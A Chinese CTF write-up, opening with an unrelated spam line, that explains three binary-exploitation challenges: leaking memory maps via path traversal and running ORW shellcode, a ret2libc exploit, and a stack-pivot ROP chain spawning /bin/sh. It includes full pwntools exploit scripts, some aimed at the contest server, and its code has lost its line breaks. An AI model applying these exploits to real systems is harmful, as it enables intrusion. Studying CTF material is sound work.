企业网站托管多少钱苏州网站外包

 

只作了3个pwn，第4个附件没下下来，第5个不会

Admin Service

这是个最简单的题，最后来弄出来。原来只是看过关于maps文件的，一直没什么印象。

题目一开始设置seccomp禁用execv等，看来是用ORW，然后建了个mmap的可写可执行块

然后提供3个功能：

1，读文件，由于没限制..可以漏洞读任意文件，只检查flag字符串

2，更新配置，在4060起的偏移上写10字节，这理理论上得到地址后可以写任意位置

3，backup 当backupCall不为0且 s1='backup: 1'时可执行backupCall(),当然原始状态是空

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{__int64 Int; // raxsetup();rules();backupCall = 0LL;s1 = 0LL;backupCode = (__int64)mmap(0LL, 8uLL, 7, 34, 0, 0LL);while ( 1 ){printMenu();puts("Choice:");Int = readInt();                            // 可以残留if ( Int == 4 )break;if ( Int <= 4 ){switch ( Int ){case 3LL:backupMessages();                     // backupCall !=0 ,s1='backup: 1', backupCall()break;case 1LL:readChat();break;case 2LL:updateConfig();break;}}}exit(0);
}

一开始始终不清楚怎么泄漏，后来想到看过一个关于maps文件的，这个文件在/proc/[pid]/maps这里边是加载的段地址。

5576375fa000-5576375fb000 r--p 00000000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fb000-5576375fc000 r-xp 00001000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fc000-5576375fd000 r--p 00002000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fd000-5576375fe000 r--p 00002000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fe000-5576375ff000 rw-p 00003000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375ff000-557637600000 rw-p 00005000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576379b8000-5576379d9000 rw-p 00000000 00:00 0                          [heap]
7fe35d4df000-7fe35d4e0000 rwxp 00000000 00:00 0 
7fe35d4e0000-7fe35d4e3000 rw-p 00000000 00:00 0 
7fe35d4e3000-7fe35d509000 r--p 00000000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d509000-7fe35d65e000 r-xp 00026000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d65e000-7fe35d6b1000 r--p 0017b000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b1000-7fe35d6b5000 r--p 001ce000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b5000-7fe35d6b7000 rw-p 001d2000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b7000-7fe35d6c4000 rw-p 00000000 00:00 0 
7fe35d6c4000-7fe35d6c6000 r--p 00000000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6c6000-7fe35d6d4000 r-xp 00002000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6d4000-7fe35d6e2000 r--p 00010000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e2000-7fe35d6e3000 r--p 0001e000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e3000-7fe35d6e4000 rw-p 0001f000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e4000-7fe35d6e6000 rw-p 00000000 00:00 0 
7fe35d6e6000-7fe35d6e7000 r--p 00000000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d6e7000-7fe35d70c000 r-xp 00001000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d70c000-7fe35d716000 r--p 00026000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d716000-7fe35d718000 r--p 00030000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d718000-7fe35d71a000 rw-p 00032000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7ffe74183000-7ffe741a4000 rw-p 00000000 00:00 0                          [stack]
7ffe741d5000-7ffe741d9000 r--p 00000000 00:00 0                          [vvar]
7ffe741d9000-7ffe741db000 r-xp 00000000 00:00 0                          [vdso]

得到这个就好办了，用2写配置在backupCall写上个指针就能执行，但是只能执行一个函数，首先想到的是readchat的跳过检查写执行，但是地址没法写进去，readInt这个位置正好重合，选了菜单就没法用了。

看来一开始给的RWX段还是有用的，计算出RWX段与4060的偏移然后一点点写进去shellcode然后用backupCall执行。

不过远程始终连不上，没拿到flag

from pwn import *#p = remote('pwn.ctf.securinets.tn', 4444)
p = process('./services')
context(arch='amd64', log_level='debug')elf = ELF('./services')
libc = ELF('./libc.so.6')def setcfg(idx, v):p.sendafter(b"Choice:", b'2')p.sendafter(b"Config index:", str(idx).encode())p.send(v)def readchat(name):p.sendafter(b"Choice:", b'1')p.sendlineafter(b"Chat ID:\n", name)readchat(b'../../../../../../proc/self/maps')f_elf = False
f_libc = False
f_rwx = False
while True:line = p.recvline()if not f_elf:if b'services' in line:v = line.split(b'-')[0]elf.address = int(v,16)print(f"{ elf.address = :x}")f_elf = True if not f_rwx:if b' rwxp ' in line:v = line.split(b'-')[0]heap_address = int(v,16)print(f"{ heap_address = :x}")f_rwx = True if not f_libc:if b'libc.so.6' in line:v = line.split(b'-')[0]libc.address = int(v, 16)print(f"{libc.address = :x}")f_libc = Trueif f_elf and f_libc and f_rwx:break#gdb.attach(p, f'b*0x{elf.address+0x186b :x}\nc')#backupCall
setcfg(9, p64(heap_address))
#s1
setcfg(2, p64(elf.address + 0x20c2))offset = (heap_address - elf.address - 0x4060)//8
pay = asm(shellcraft.open('./flag')+shellcraft.read(3, heap_address + 0x200, 0x50) + shellcraft.write(1,heap_address+0x200,0x50)) 
for i in range(0, len(pay), 8):setcfg(offset+i//8, pay[i:i+8])p.sendafter(b"Choice:", b'3')
p.recvline()
p.interactive()

ret2libc

名字很直白，少走弯路。32位程序，直接给了个gets溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[80]; // [esp+0h] [ebp-58h] BYREFint *p_argc; // [esp+50h] [ebp-8h]p_argc = &argc;setup();puts("Is this solveable?");gets(s);return 0;
}

一看很简单，一作就麻爪，问题在这，当溢出后先pop ecx,ebx,ebp然后lea esp,[ecx-4],最后会跳到ecx-4这里。

 绕过的办法是在读入0x50，利用gets最后写入的\0覆盖掉ecx的末字节，当末字节是个适当值的时候就会跳s的某个位置执行（比如说40），这个概率还是比较大的。

from pwn import *p = remote('pwn.ctf.securinets.tn', 6666)
#p = process('./main')
context(arch='i386', log_level='debug')elf = ELF('./main')
libc = ELF('./libc.so.6')
ret = 0x8049224p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(elf.plt['puts'], elf.sym['main'], elf.got['puts']))
libc.address = u32(p.recv(4)) - libc.sym['puts']bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(system, elf.sym['main'], bin_sh))p.sendline(b'cat /flag')
p.interactive()

One is enough

一看这名字，不会跟上题一样吧。还真有些一样。

菜单有3项，一是读名字，这个没什么用，二是读描述

__int64 __fastcall readDescription(__int64 a1, __int64 a2, __int64 a3)
{char v4[144]; // [rsp+10h] [rbp-90h] BYREFputs("Your description:", a2, a3);readInput((__int64)v4, 0x90uLL);return memMove((_BYTE *)(a1 + 16), v4, 144LL);
}

问题在于readInput这块，多读入一个字节

这样跟上题一样，多读这个字节会覆盖到rbp，这样后边再执行时遇到leave ret就会发生移栈（不是这个函数退出时，退出时只是把这个地址弹给rbp下次leave ret（main退出时）才会执行），选好一个位置让他移栈后执行。通过测试这个位置定48，试几次都成功。

题目是静态编译的没开pie，没用libc也就用不着泄露，不过只能执行syscall

这题还有个提示：没有输出，你不需要。

from pwn import *p = remote('pwn.ctf.securinets.tn', 7777)
#p = process('./main2')
context(arch='amd64', log_level='debug')elf = ELF('./main2')
pop_rdi = 0x0000000000401f3d # pop rdi ; ret
pop_rsi = 0x000000000040ab23 # pop rsi ; ret
pop_rbp = 0x0000000000401671 # pop rbp ; ret
pop_rdx = 0x0000000000463367 # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000431c77 # pop rax ; ret
leave_ret = 0x401910 
syscall = 0x00000000004011a2 # syscall
read = 0x401767
bss = 0x4acb00p.sendline(b'2')
p.send(p64(0x40186d)*3 + flat(pop_rdi, 0x4acb00, pop_rsi,0x8, read, pop_rax, 59, pop_rdi, bss, pop_rsi,0, pop_rdx,0,0, syscall )+ p8(0x48))p.sendline(b'3')p.sendline(b'/bin/sh\x00')p.sendline(b'cat flat.txt')
p.interactive()